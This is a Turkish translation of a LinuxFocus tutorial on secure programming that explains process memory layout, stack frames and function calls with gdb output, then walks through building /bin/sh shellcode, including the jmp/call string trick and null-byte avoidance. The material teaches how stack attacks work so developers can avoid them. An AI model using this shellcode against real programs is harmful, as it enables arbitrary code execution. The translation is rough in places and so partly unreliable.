Home Map Index Search News Archives Links About LF
[Top bar]
[Bottom bar]
Bu makalenin farklı dillerde bulunduğu adresler: English  Castellano  Deutsch  Francais  Nederlands  Russian  Turkce  Korean  

convert to palmConvert to GutenPalm
or to PalmDoc

[image of the authors]
tarafından Frédéric Raynal, Christophe Blaess, Christophe Grenier

Yazar hakkında:

Christophe Blaess bağımsız bir havacılık mühendisi.O bir Linux meraklısı ve birçok işini bu sistem yardımıyla yapıyor.Linux Dökümantasyon Projesi tarafından yayınlanan kişisel sayfaların çevirisinin organizasyonunu yapıyor.

Chritophe Grenier ESIEA'da beş yıldır öğrenci ve aynı zamanda burada sistem yöneticisi olarak çalışıyor.Bilgisayar güvenliğine karşı bir tutkusu var.

Frédéric Raynal birçok senedir Linux kullanıyorlar çünkü o kirletmiyor, hormonları kullanmıyor, ne GMO ne de hayvansal yağ...sadece ter ve oyunlar.


İçerik:

Bir uygulamanın geliştirilmesinde güvenliğin istenmeyen durumlarından kaçışlar - Bölüm 2:hafıza, yığıt ve fonksiyonlar, kabuk kodu

Çeviri : Coşkun Demirboğa

article illustration

Özet:

Bu makale serileri uygulamalarda ortaya çıkan genel güvenlik sorunlarını vurgulamak amacıyla oluşturulmuştur.Bu gibi istenmeyen sorunların çeşitli gelişmeler yardımıyla nasıl aşılacağını göstermektedir.

Bu makale, hafıza organizasyonu/yayılımı, fonksiyon ve hafıza arasındaki ilişki konuları üzerinde yoğunlaşmıştır.Son bölüm kabuk kodu'nun nasıl oluşturulacağı konusunu ele almaktadır.



 

Giriş

Bir önceki makalemizde basit güvenlik sorunlarını analiz etmiştik.Bunlardan bir tanesi harici komutların yerine getirilmesi üzerineydi.Bu makale ve bundan sonraki,daha geniş çeşit saldırıları anlatacak.İlk olarak çalışan uygulamalardaki hafıza yapılarına çalışacağız ve kabuğu başlatmak için küçük bir kod yazacağız.(kabuk kodu)  

Hafıza yayılımı

 

Program nedir?

Talimat kümesinden oluşan bir program düşünelim, makina koduyla ifade edilsin ( yazmak için kullanılan dil gözardı edilsin ),işte biz bunlara binary diyoruz.Binary dosyasını derlerken program kaynağı değişkenleri, sabitleri ve talimatları tutar.Bu bölüm binary dosyasının değişik bölümlerini hafıza yayılımını sunuyor.

 

Farklı bölgeler

Binary dosyası çalıştığında neler olduğunu anlamak için, hafıza organizasyonuna bir bakalım.Değişik alanlara itimat etmektedir :

memory layout

Genellikle ama herzaman değil, biz sadece bu makale için önemli olan bazı bölgelere yoğunlaşacağız.

size -A file --radix 16 komutu derlemek için gerekli her bir alanın boyutunu verir.Burdan hafıza adreslerini alırsınız (objdump komutu bu bilgiye ulaşmak için kullanılır). Bu size komutu binary olarak "fct":

>>size -A fct --radix 16
fct  :
section            size        addr
.interp            0x13   0x80480f4
.note.ABI-tag      0x20   0x8048108
.hash              0x30   0x8048128
.dynsym            0x70   0x8048158
.dynstr            0x7a   0x80481c8
.gnu.version        0xe   0x8048242
.gnu.version_r     0x20   0x8048250
.rel.got            0x8   0x8048270
.rel.plt           0x20   0x8048278
.init              0x2f   0x8048298
.plt               0x50   0x80482c8
.text             0x12c   0x8048320
.fini              ro      0x14   0x8048468
.data               0xc   0x804947c
.eh_frame           0x4   0x8049488
.ctors              0x8   0x804948c
.dtors              0x8   0x8049494
.got               0x20   0x804949c
.dynamic           0xa0   0x80494bc
.bss               0x18   0x804955c
.stab             0x978         0x0
.stabstr         0x13f6         0x0
.comment          0x16e         0x0
.note              0x78   0x8049574
Total            0x23c8

text alanı program talimatlarını tutmaktadır.Bu alan sadece-oku.Bu aynı binary dosyasını çalıştıran bütün işlemler arasında paylaşıldı.Bu alana yazmaya teşebbüs etmek segmentasyon ihlali hatasına sebep olur.

Diğer alanları açıklamadan önce gelin C'deki değişkenler ile ilgili birkaç şey söyleyelim.global değişkenler tüm program da kullanılır ancak local değişkenler sadece fonksiyonlarla birlikte kullanılır. static değişkenler bilindik bir boyuta sahiptirler.Boyutları çeşitlerine bağlıdır.Çeşitleri ise örneğin;char, int, double, işaretçiler vs.Bir işaretçibir adres işaret eder bir hafıza ile birlikte.Bu bir PC tipi makinada 32bit 'tir.Bilinmeyen birşey varki o da derleme sırasında işaretçinin hangi alana doğru olduğudur.Bir dynamic değişkeni bir hafıza bölgesi ve bunlara işaret eden işaretçileri (işaretçinin kendisi değil adresi) ifade eder.

Verilen işlem için hafıza organizasyonuna geri dönelim.data alanı global duragan verileri saklar ( bu veri derleme zamanını sağlar ), bss parçası başta yer almayan global verileri tutar.Bu alanlar derleme zamanı için ayrılmıştır ve boyutları tuttukları nesnelere göre tanımlanmıştır.

Yerel ve dinamik değişkenler bir hafıza alanı içinde gruplandırılır. Bu hafıza alanı programın çalışması için ayrılmıştır.(user stack frame). Fonksiyonlar yardıma çağrılır, yerel değişkenler için gelişmiş örnekler bilinmemektedir.Bunları tanımladığımız zaman bunları bir stackiçine koyacağız.Bu yığıt en yüksek adreslerin üzerindedir ve LIFO modeline göre çalışır(Last In, First Out).user frame altındaki alan dinamik değişkenlerin tahsisine kullanılmıştır.Bu alan heap şeklinde tanımlanır ve işaretçiler ve dinamik değişkenler tarafından adreslenen hafıza alanlarını tutar.Açıkça görülüyorki, bir işaretçi 32bit ya BSS veya yığıtta.Tahsis edildiğinde ilk ayrılmış byte'a karşı gelen bir adres alır.

 

Ayrıntılı örnek

Sıradaki örnek hafızadaki değişken yayılımını örneklemektedir:

/* mem.c */

  int    index = 1;   //in data
  char * str;         //in bss
  int    nothing;     //in bss

void f(char c)
{
  int i;              //in the stack
  /* Reserving de 5 characters in the heap */
  str = (char*) malloc (5 * sizeof (char));
  strncpy(str, "abcde", 5);
}

int main (void)
{
  f(0);
}

gdb debugger tüm bunları onaylayacaktır.

>>gdb mem
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
(gdb)

Gelin bu f() fonksiyonuna bir aralık bırakalım ve programı bu noktayakadar çalıştıralım :

(gdb) list
7      void f(char c)
8      {
9         int i;
10        str = (char*) malloc (5 * sizeof (char));
11        strncpy (str, "abcde", 5);
12     }
13
14     int main (void)
(gdb) break 12
Breakpoint 1 at 0x804842a: file mem.c, line 12.
(gdb) run
Starting program: mem

Breakpoint 1, f (c=0 '\000') at mem.c:12
12      }

Şimdi değişkenlerin yerlerini görebiliyoruz.

1. (gdb) print &index
$1 = (int *) 0x80494a4
2. (gdb) info symbol 0x80494a4
index in section .data
3. (gdb)  print &nothing
$2 = (int *) 0x8049598
4. (gdb) info symbol 0x8049598
nothing in section .bss
5. (gdb) print str
$3 = 0x80495a8 "abcde"
6. (gdb) info symbol 0x80495a8
No symbol matches 0x80495a8.
7. (gdb) print &str
$4 = (char **) 0x804959c
8. (gdb) info symbol 0x804959c
str in section .bss
9. (gdb) x 0x804959c
0x804959c <str>:     0x080495a8
10. (gdb) x/2x 0x080495a8
0x80495a8: 0x64636261      0x00000065

Komut 1 (print &index) hafıza adresini index global değişken için gösteriyor.İkinci talimat (info) birleştirme sembolü veriyor bu adres ve hafızadaki yer için:index, global durağan değişkeni bu data alanda saklanmaktadır.

3.ve 4. talimatlar başta gelmeyen durağan değişkenleri nothing, BSS parçası içinde yer almaktadır.

5.satırda str ...komutu görülüyor.Gerçekte str değişken içermektedir, ve bu adres 0x80495a8.Talimat 6 hiçbir değişken bu adreste tanımlanmamıştır.Komut 7 str değişken adresini almaya izin verir ve komut 8 onu işaret eder ve BSS parçasında bulunabilir.

9'da 4 byte adresteki hafızaya karşı gelir 0x804959c : Bu bir ayrılmış adresle birlikte kümeye karşı gelir.10'un içeriğinde şu string vardır "abcde" :

hexadecimal value : 0x64 63 62 61      0x00000065
character         :    d  c  b  a               e

Yerel değişkenler c ve i yığıtın içinde yer alır.

size komutu sayesinde boyutun geri döndüğüne dikkat çekmek istiyoruz.Ancak programa baktığımızda farklı alanlar beklediğimiz gibi uyum sağlamaz.Bunun sebebi program çalıştırıldığında kütüphanede değişik değişkenlerin varolmasıdır.(type info variables under gdb to get them all).

 

Yığıt ve küme

Her seferinde fonksiyon tanımlandığında, yeni bir çevre terel değişlenler için gerekli hafıza ile birlikte ve fonksiyon parametreleri ile birlikte oluşturulur (burda environment fonksiyon çalıştırılırken tüm elementler görüleceği manasına gelir : argümanları, yerel değişkenleri,çalışan yığıtlarında varolan geri dönüş adresleri...fakat bir önceki makalede bahsettiğimiz kabuk değişkenleri için çevre değil). %esp (extended stack pointer) kaydı en yüksek yığıt adreslerini tutar.

Yerel değişkenlerin yığıtlarla birlikte adresleri göreceli karşılık olarak %esp ifade edilebilir.Başlıklar herzaman eklenip çıkarılabilir yığıtlardan ve her değişkenin karşılığı ayarlanabilir.Bu çok etkisizdir. İkinci kayıtın kullanılması şu gelişmeye yol açar : %ebp (genişletilmiş taban işaretçisi) başlangıç adresini tutar.Böylece, kayıtla ilgili offset açıklamak yeterli olur.Fonksiyon çalışırken sabit kalır.Parametreleri bulmak veya fonksiyonları yerel değişkenler ile birlikte kolay değildir.

Yığıtların temel birimleri word : i386 CPU'lar üzerinde 32bit ve 4 byte'dır.Örneğin, Alpha CPU'ları bir kelime için 64bit yer ayırır. Yığıtlar sadece kelimeleri yönetir.Bunun anlamı her yer ayrılmış değişken bazı kelime numarası kullanır.İlerde fonksiyonların açıklamasında ayrıntılı bir şekilde göreceğiz. str gösteriminde değişken gdb kullanılışını içerir.bir önceki örnek bunu örnekliyor. gdb x komutu tüm cümleyi gösteriyor (soldan sağa oku little endian açıklamasına kadar.

Yığıt 2 cpu talimatı tarafından kontrol edilebilir :

 

Kayıtlar

Kayıtlar gerçekte nedir?Onları yalnızca birer çizici olarak görebilirsiniz, bir kelime serisinden oluşmuşlardır.Her seferinde kayda yeni bir kelime girer ve eskisi kaybolur.Hafıza ve CPU arasında direk bir iletişime izin verir.

İlk olarak 'e' kayıtlarda görünür ve "extended" manasına gelir ve 16bit ile 32bit arasındaki evrimi işaret eder.

Kayıtlar dört sınıfa ayrılırlar :

  1. genel kayıtlar : %eax, %ebx, %ecx ve %edx veriyi yönetmek için kullanılır;
  2. parça kayıtlar : 16bit %cs, %ds, %esx ve %ss, hafızanın ilk parçasını tutar;
  3. karşılık kayıtlar :bunlar parça kayıtlar ile ilgili bir karşılık işaret ederler;
  4. özel kayıtlar :bunlar sadece CPU tarafından kullanılır.
Burada ayrıntı verilmemiştir, ancak aynı sınıftan olan kayıtlar aynı şeyler zannedilmemelidir.  

Fonksiyonlar

 

Giriş

Bu bölümde bir programın başlangıcından sonuna dek olan davranışı sunulacaktır. Bu bölüm boyunca şu örneği kullanacağız :
/* fct.c */

void toto(int i, int j)
{
  char str[5] = "abcde";
  int k = 3;
  j = 0;
  return;
}

int main(int argc, char **argv)
{
  int i = 1;
  toto(1, 2);
  i = 0;
  printf("i=%d\n",i);
}

Bu bölümün amacı yukarıda yer alan fonksiyonların davranışlarını yığıtlara ve kayıtlara dikkat ederek açıklamaktır.Bazı saldırılar bir programın çalışmasını değiştirebilirler.Bunları anlamak için nelerin düzgün çalıştığını bilmek gereklidir.

Bir fonksiyonun çalışması üç aşamaya ayrılır :

  1. prolog : Bir fonksiyon girildiğinde aynı zamanda siz onun çıkış yolunu hazırlamış oluyorsunuz.Yığıtları kaydetmek için fonksiyonlar girilmeden ve saklanmadan önce hafıza olması gerekir;
  2. call fonksiyonu : Bir fonksiyon çağrıldığında onun parametreleri yığıtın içinde yer alır ve işaretçi talimat kaydedilmiştir, çünkü bu talimatın çalıştırılması fonksiyonun sağından işleme devam edilmesini sağlar;
  3. return fonsiyonu : Bu fonksiyon fonksiyon çağrılmadan önce gerekli şeylerin geri çağrılmasını sağlar.
 

Başlangıç

Bir fonksiyon herzaman talimat ile başlar :
push   %ebp
mov    %esp,%ebp
push   $0xc,%esp       //$0xc depends on each program

Bu üç talimat prolog'un dedilerini tapıyor.diagram 1 ayrıntıları toto() fonsiyonunun başlangıcının %ebp ve %esp kayıt parçalarının nasıl çalıştığını açıklamaktadır :

Diag. 1 : prolog of a function
prolog Başlangıçta, %ebp noktaları hafızada herhangi bir X adresini işaret eder.%esp yığıtta en düşük yerdedir Y adresinde ve son yığıt giriş noktasını işaret eder.Bir fonksiyon girildiğinde "geçerli çevre" 'yi kaydetmek zorundasınız.Bu %ebp'dur.%ebp'den beri yığıtın içine konur ve %esp hafıza sözcüğü tarafından azaltılır.
environment Bu ikinci talimat fonksiyon için yeni bir "çevre" inşa edilmesini %ebp kodunu yığıtın en başına konulması ile sağlar.%ebp ve %esp bir önceki çevre adresini tutarlar ve aynı hafıza noktasını işaret ederler.
stack space for local variables Şimdi yerel değişkenler için yığıt boşluğu ayrılmış durumdadır.Karakter sırası beş başlıkla tanımlanmıştır ve 5 byte (bir char bir byte) yere ihtiyaç vardır. Bununla birlikte yığıtlar sadece words'ü yönetirler ve sadece word'ten oluşan birkaç (1 word, 2 words, 3 words, ...) yer ayırırlar.4 byte yerine 5 byte word saklamak için 8 byte ( 2 words) kullanmanız gerekli. String'in bir parçası olmasa dahi bu parça kullanılabilir.k tam sayı 4 byte kullanır.Bu boşluk %esp'un 0xc tarafından azaltılması için kullanılır. Yerel değişkenler 8+4=12 byte kullanırlar (örneğin 3 sözcük).

Bu mekanizmadan başka burda hatırlanması gereken önemli bir nokta da yerel değişkenlerin yeridir : yerel değişkenler %ebp ile ilgili olarak negative gibi bir karşılığa sahiptirler. i=0 talimatı main() fonksiyonu içinde bunu örnekler.Makine kodu i'yi çalıştırmak için direkt olmayan bir adresleme yöntemi kullanır :

0x8048411 <main+25>:    movl   $0x0,0xfffffffc(%ebp)

0xfffffffc heksedesimal -4 tam sayısını ifade eder. Bu notasyonun anlamı 0 değerini "-4 byte" ın bulunduğu %ebp kaydına yerleştir. i ilk ve tek yerel değişkendir main() fonksiyonunun içinde yer alan.Böylece onun adresi 4 byte (örneğin tam sayını boyutu) %ebp kaydının altındadır.

 

Çağrı

Fonksiyonun başında yapıldığı gibi fonksiyon kendi çevresini hazırlar, fonksiyon bu fonksiyona argumanlarını alması için izin verir ve çağıran fonksiyona geri dönerek işlemi bitirir.

Örnek olarak toto(1, 2); çağrısını ele alalım.

Diag. 2 : Function call
argument on stack Fonksiyon çağırmadan önce argumanlar yığıtta saklı olmalıdırlar.Bizim bu örneğimizde, iki sabit tam sayı 1 ve 2 birinci yığıttır ve sonuncuyla başlar. %eip kaydı bir sonraki talimatın adresini çalışması için tutar.
call

call talimatını çalıştırırken %eip bir sonraki talimatınadres değerlerini alır.Tüm talimatlar aynı boşluk için kullanılmaz fakat bu CPU 'ya bağlıdır. call yardımı ile %eip içindeki adres kaydedilebilir.Bu işlemden fonksiyonu çalıştırdıktan sonra geriye dönmek için gereklidir :

    push %eip

Bir argüman gibi değerlendirilip call'e göndermek için bir değer verilmiştir.Bu da talimatın başındaki toto() fonksiyonun adresine karşılık gelir.Bu adres sonra %eip'a kopyalanır.Böylece yeni talimat çalışmaya başlar.

İlk önce biz fonksiyonun içindeyiz. 'nun argümanları ve geri dönen adresin positive karşılığı vardır %ebp ile ilgili olan.Bir sonraki talimat bu kayıtı yığıtın en üstüne yerleştirir.j=0 talimatı toto()'ın içindedir.Fonksiyon bunu örnekler.Makina kodu tekrar bu indirekt adreslemeyi j'yi çalıştırmak için kullanır :

0x80483ed <toto+29>:    movl   $0x0,0xc(%ebp)

0xc heksedesimali +12 tam sayısını ifade eder. Bu notasyon "+12 byte" da bulunan 0 değerini ifade eder. j fonksiyonun ikinci argümanıdır ve 12 byte'ın en üst noktasında bulunur. (4 talimatın işaretçisi, 4 birinci argüman ve 4 ikinci argüman için.)

 

Geri Dönüş

Bir fonksiyonu terketmek iki aşamada yapılır.İlk olarak,çevre fonksiyon için temizlenmelidir (örneğin %ebp ve %eip yerleştirmek çağırmadan önce). Yığıtı kontrol etmemiz fonksiyon için gerekli bilgiyi almak için gereklidir.

Birinci adım fonksiyon ile birlikte atılmış oldu. :

leave
ret

Bir sonraki fonksiyon ile yapılacak olan çağrının yer tutması ve yığıtın yer teşkil etmesidir.

Bir önceki örneği taşıyoruz toto() fonksiyonu ilgili olan.

Diag. 3 : Function return
initial situation Burda başlangıç koşullarını açıklıyoruz.Çağrıdan önce %ebp adreste yer alır. X ve %esp, Y adresinde yer alır. Buradan fonksiyon argumanlarını biir kenara toplayarak %eip'i ve %ebp'i kaydettik ve yerel değişkenlerimiz için bir kısım yer ayırdık.Bir sonraki çalıştırılan talimat leave olacaktır.
leave The instruction leave is equivalent to the sequence :
    mov ebp esp
    pop ebp

Birincisi %esp ve %ebp'i alır.İkincisi %ebp kayıdında yer alanı yığıtın en üstüne yerleştirir. Sadece bir talimatta (leave), yığıt başlangıçsız olabilir.
restore ret talimatı %eip'ı saklar.Çağrı fonksiyonunun işlemi bu yolla başlar.Bunun için %eip'teki yığıtı kaldırabiliriz.

Fonksiyonun argümanları yığıtta saklanana kadar başlangıç koşullarına dönmeyeceğiz. Onların yerlerini ddeğiştirme bir sonraki talimat olacak. Z+5 ile tanımlanan adres %eip'ın içinde yer alır.

stacking of parameters Parametrelerin yığıt haline getirilmesi çağrı fonksiyonunun içerisinde yapılır. Bu zıt diyagramda ayıraçlar yardımıyla çağrı fonksiyonda bulunan talimatların arasında ve add 0x8 ile çağrı fonksiyonunundaki %esp yardımıyla örneklenmiştir. Bu talimat %esp'ı yığıtın en üst noktasına verir toto() fonksiyon parametresinin kullanabildiği kadar kullanarak.%ebp ve %esp kayıtları şimdi olayın içinde yer alırlar.Diğer yandan %eip talimat kaydının yeri değişir.
 

Disassembling

gdb Makina kodunu almayı sağlar main() ve toto() fonksiyonlarına karşılık gelir :

>>gcc -g -o fct fct.c
>>gdb fct
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.  GDB is free
software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of
it under certain conditions.  Type "show copying" to see
the conditions.  There is absolutely no warranty for GDB.
Type "show warranty" for details.  This GDB was configured
as "i386-redhat-linux"...
(gdb) disassemble main                    //main
Dump of assembler code for function main:

0x80483f8 <main>:    push   %ebp //prolog
0x80483f9 <main+1>:  mov    %esp,%ebp
0x80483fb <main+3>:  sub    $0x4,%esp

0x80483fe <main+6>:  movl   $0x1,0xfffffffc(%ebp)

0x8048405 <main+13>: push   $0x2 //call
0x8048407 <main+15>: push   $0x1
0x8048409 <main+17>: call   0x80483d0 <toto>


0x804840e <main+22>: add    $0x8,%esp //return from toto()

0x8048411 <main+25>: movl   $0x0,0xfffffffc(%ebp)
0x8048418 <main+32>: mov    0xfffffffc(%ebp),%eax

0x804841b <main+35>: push   %eax     //call
0x804841c <main+36>: push   $0x8048486
0x8048421 <main+41>: call   0x8048308 <printf>


0x8048426 <main+46>: add    $0x8,%esp //return from printf()
0x8048429 <main+49>: leave            //return from main()
0x804842a <main+50>: ret

End of assembler dump.
(gdb) disassemble toto                    //toto
Dump of assembler code for function toto:

0x80483d0 <toto>:     push   %ebp   //prolog
0x80483d1 <toto+1>:   mov    %esp,%ebp
0x80483d3 <toto+3>:   sub    $0xc,%esp

0x80483d6 <toto+6>:   mov    0x8048480,%eax
0x80483db <toto+11>:  mov    %eax,0xfffffff8(%ebp)
0x80483de <toto+14>:  mov    0x8048484,%al
0x80483e3 <toto+19>:  mov    %al,0xfffffffc(%ebp)
0x80483e6 <toto+22>:  movl   $0x3,0xfffffff4(%ebp)
0x80483ed <toto+29>:  movl   $0x0,0xc(%ebp)
0x80483f4 <toto+36>:  jmp    0x80483f6 <toto+38>

0x80483f6 <toto+38>:  leave         //return from toto()
0x80483f7 <toto+39>:  ret

End of assembler dump.
Talimatlar (renk olmaksızın) bizim program talimatlarımıza karşılık gelir.  

Kabuk kodu oluşturma

Bazen yığıtlarda varolan işlemlere müdehale etmek mümkündür.Bunu yapmanın yolu fonksiyonun geri dönüş adresinin üzerine yeniden yazmaktır ve keyfi kodlar ile uygulama çalışması yapmaktır.Bu özellikle kırıcılar için ilginçtir eğer uygulama kullanıcıdan farklı bir ID 'de çalışıyorsa.Bu tip bir hata bir bakıma tehlikeli olabilir eğer uygulama bir döküman okumaysa ve başka bir kullanıcı tarafından başlatılabiliyorsa.

Sonraki makalelerde talimatların uygulanmasındaki mekanizm üzerine konuşacağız. Burda biz kod üzerine çalışıyoruz ki bunu ana uygulama üzerinden çalıştırmayı istiyoruz. En basit çözüm kabuğu çalıştırmak için bir miktar koda sahip olmaktır.Okuyucu kendini diğer diğer uygulamalar için örneğin /etc/passwd dosyasının haklarını değiştirme konusunda eğitebilir.Bazı nedenlerden dolayı ki bunlar gelecekte açıkça görülecektir,bu program Makine dilinde yapılmak zorundadır.Bu tip küçük programlar kabuğu çalıştırma kaibliyitine sahiptir ve bunlara genellikle shellcode adı verilir.

Örneklerde Aleph One'ın makalesinden esinlenilmiştir "Smashing the Stack for Fun and Profit" Phrack magazin No:49.

 

C dili ile

Kabuk kodunun amacı kabuğu çalıştırmaktır.Bir sonraki C programı bunu örneklemektedir :

/* shellcode1.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name[] = {"/bin/sh", NULL};
  execve(name[0], name, NULL);
  return (0);
}

Fonksiyon kümelerinin arasında kabuğa çağrı gönderme kabiliyeti vardır. Birçok sebep execve()'ın kulllanışını doğrular.İlk olarak, O bir doğru sistem çağrısıdır ve diğer exec() ailesinden olan fonksiyonlara benzemez.Bunlar GlibC kütüphanesinin fonksiyonlarıdır ve execve()'den inşa edilmişlerdir.Bu kadar kayıt tanımlaması ve onların içerikleri üzerine konuşmak yeterlidir.

Bundan başka eğer execve() başarılırsa çağrı programı (burda ana uygulamadır) yeni programın çalıştırılabilir koduyla değiştirilir. execve() çağrısı başarısızlığa uğrsdığında program uygulaması devam eder.Örneğimizde kod hareket uygulamasının tam ortasındac yer alır. Uygulama ile devam etmek anlamsız ve hatta zaralı dahi olabilir.Uygulama ayrıca olabildiği ölçüde hızlı olmak zorundadır. return (0) programdan çıkma izni verir ve sadece bu talimat main() fonksiyonundan çağrıldığı zaman bu beklendiği gibi burada olmayacaktır.

/* shellcode2.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  exit (0);
}

exit() yine bir kütüphane fonksiyonudur.Yeni bir değişiklik bizim sisteme daha yakın olmamızı sağladı :

/* shellcode3.c */
    #include <unistd.h>
    #include <stdio.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  _exit(0);
}
Şimdi programımızı Makine dilindeki karşılığı ile birleştirme zamanımız geldi.  

Makine dili çağrıları

Biz gcc ve gdb'yi Makine dili talimatlarını programın karşılıklarını alırken kullanıyoruz.Gelin shellcode3.c'u derleyelim (debug opsiyonu yardımıyla). (-g) programı bütünleme açısından normalde paylaşılmış kütüphanelerde bulunur.Şimdi _exexve() ve _exit()'yi anlamak için bilgiye ihtiyacımız vardır.
$ gcc -o shellcode3 shellcode3.c -O2 -g --static
Sonra gdb ile bizim fonksiyonlarımızın Makine karşılıklarına bakacağız. Bu Linux içindir.
$ gdb shellcode3
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048168 <main>:       push   %ebp
0x8048169 <main+1>:     mov    %esp,%ebp
0x804816b <main+3>:     sub    $0x8,%esp
0x804816e <main+6>:     movl   $0x0,0xfffffff8(%ebp)
0x8048175 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x804817c <main+20>:    mov    $0x8071ea8,%edx
0x8048181 <main+25>:    mov    %edx,0xfffffff8(%ebp)
0x8048184 <main+28>:    push   $0x0
0x8048186 <main+30>:    lea    0xfffffff8(%ebp),%eax
0x8048189 <main+33>:    push   %eax
0x804818a <main+34>:    push   %edx
0x804818b <main+35>:    call   0x804d9ac <__execve>
0x8048190 <main+40>:    push   $0x0
0x8048192 <main+42>:    call   0x804d990 <_exit>
0x8048197 <main+47>:    nop
End of assembler dump.
(gdb)
Şimdi hafızanın içeriğini bu adresten açıklamaya çalışalım :
(gdb) printf "%s\n", 0x8071ea8
/bin/sh
(gdb)
Şimdi string'in ne olduğunu gördük. execve() ve _exit() fonksiyonlarına bakalım :
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804d9ac <__execve>:    push   %ebp
0x804d9ad <__execve+1>:  mov    %esp,%ebp
0x804d9af <__execve+3>:  push   %edi
0x804d9b0 <__execve+4>:  push   %ebx
0x804d9b1 <__execve+5>:  mov    0x8(%ebp),%edi
0x804d9b4 <__execve+8>:  mov    $0x0,%eax
0x804d9b9 <__execve+13>: test   %eax,%eax
0x804d9bb <__execve+15>: je     0x804d9c2 <__execve+22>
0x804d9bd <__execve+17>: call   0x0
0x804d9c2 <__execve+22>: mov    0xc(%ebp),%ecx
0x804d9c5 <__execve+25>: mov    0x10(%ebp),%edx
0x804d9c8 <__execve+28>: push   %ebx
0x804d9c9 <__execve+29>: mov    %edi,%ebx
0x804d9cb <__execve+31>: mov    $0xb,%eax
0x804d9d0 <__execve+36>: int    $0x80
0x804d9d2 <__execve+38>: pop    %ebx
0x804d9d3 <__execve+39>: mov    %eax,%ebx
0x804d9d5 <__execve+41>: cmp    $0xfffff000,%ebx
0x804d9db <__execve+47>: jbe    0x804d9eb <__execve+63>
0x804d9dd <__execve+49>: call   0x8048c84 <__errno_location>
0x804d9e2 <__execve+54>: neg    %ebx
0x804d9e4 <__execve+56>: mov    %ebx,(%eax)
0x804d9e6 <__execve+58>: mov    $0xffffffff,%ebx
0x804d9eb <__execve+63>: mov    %ebx,%eax
0x804d9ed <__execve+65>: lea    0xfffffff8(%ebp),%esp
0x804d9f0 <__execve+68>: pop    %ebx
0x804d9f1 <__execve+69>: pop    %edi
0x804d9f2 <__execve+70>: leave
0x804d9f3 <__execve+71>: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804d990 <_exit>:      mov    %ebx,%edx
0x804d992 <_exit+2>:    mov    0x4(%esp,1),%ebx
0x804d996 <_exit+6>:    mov    $0x1,%eax
0x804d99b <_exit+11>:   int    $0x80
0x804d99d <_exit+13>:   mov    %edx,%ebx
0x804d99f <_exit+15>:   cmp    $0xfffff001,%eax
0x804d9a4 <_exit+20>:   jae    0x804dd90 <__syscall_error>
End of assembler dump.
(gdb) quit
Çekirdek çağrısı 0x80 üzerinden 0x804d9d0 adresinde execve() için ve 0x804d99b adresinde _exit() için yapılır.Bu giriş noktası alışıldıktır. execve()'a baktığımızda onun 0x0B değerinin olduğunu ve _exit()'nun 0x01 değerinin olduğunu görürüz.

Diag. 4 : parameters of the execve() function
parameters of the execve() function

Bu fonksiyonların analizi Makine talimatlarıdır ve bunların kullanılışı parametreler yardımıyla sağlanırlar :

"/bin/sh" string'ine ihtiyacımız vardır, bir işaretçi bu string'e ve NULL işaretçisine. execve() çağrısından sonra olası bir veriyi sunabiliriz.Bir array inşa etmek için bir işaretçiyle birlikte /bin/sh string'ine NULL işaretçisini takiben, %ebx string'i işaret edecektir.

Diag. 5 : data representation relative to registers
data
 

Hafızanın içine kabuk kodunun yerleştirilmesi

Kabuk kodu genellikle savunması zor programın komut satırı üzerinden arguman ile bir çevre değişkeni veya yazılmış bir string ile yerleştirilebilir.Herneyse, kabuk kodu oluşturulduğunda kullanacağı adresi bilmiyoruz.Bununla birlikte "/bin/sh" string'inin adresini bilmemiz gerekmektedir.Küçük bir oyun bunu öğrenmemizi sağlayabilir.

call talimatını çağırırken CPU geri dönüş adresini yığıtta saklar ve bu adres call talimatını takip eder. Genellikle, bir sonraki adım yığıt bölümünde saklanmaktadır (özellikle %ebp kaydı ile birlikte push %ebptalimatı) Geri dönüş adresini almak için subroutine içine girildiğinde pop talimatının yığıt halinden çıkarılması yeterlidir.Elbette "/bin/sh" string'ini saklamamız gereklidir :

 beginning_of_shellcode:
    jmp subroutine_call

 subroutine:
    popl %esi
    ...
    (Shellcode itself)
    ...
 subroutine_call:
    call subroutine
    /bin/sh

Elbette subroutine gerçek değildir: execve() çağrısı başarır ve uygulama kabukla yer değiştirir veya başarısızlığa uğrar ve _exit() fonksiyonu programı sonlandırır. %esi kaydı bize "/bin/sh" string adresini verir.Daha sonra bir array inşa etmek string'ten sonra getirmekle mümkündür :

     popl %esi
    movl %esi, 0x8(%esi)
    movl $0x00, 0xc(%esi)

6 diyagramı veri alanını gösterir :

Diag. 6 : data array
data area
 

Null bytes problemi

Savunulması zor fonksiyonlar genellikle string yönetimi ile ilgili olanlar örneğin strcpy()'dir.Hedef uygulamanın tam ortasına kodu yerleştirmek için kabuk kodu string şeklinde kopya edilmesi gereklidir.Bununla birlikte bu kopyalar null karakterini bulur bulmaz hemen duracaktır.Daha sonra bizim kodumuz olmayacaktır.Birkaç oyun kullanarak null byte'larını yazmayı engelleyebiliriz.Örneğin talimat

    movl $0x00, 0x0c(%esi)

will be replaced with
    xorl %eax, %eax
    movl %eax, %0x0c(%esi)

Bu örnek null byte'ının kullanılışını gösteriyor.Bununla birlikte bazı talimatların heksedesimale çevirileri ortaya çıkmaktadır.Örneğin _exit(0) sistem çağrısı ve diğerleri arasında ayrım yapmakm için %eax kayıt değerinin 1 olması gereklidir.

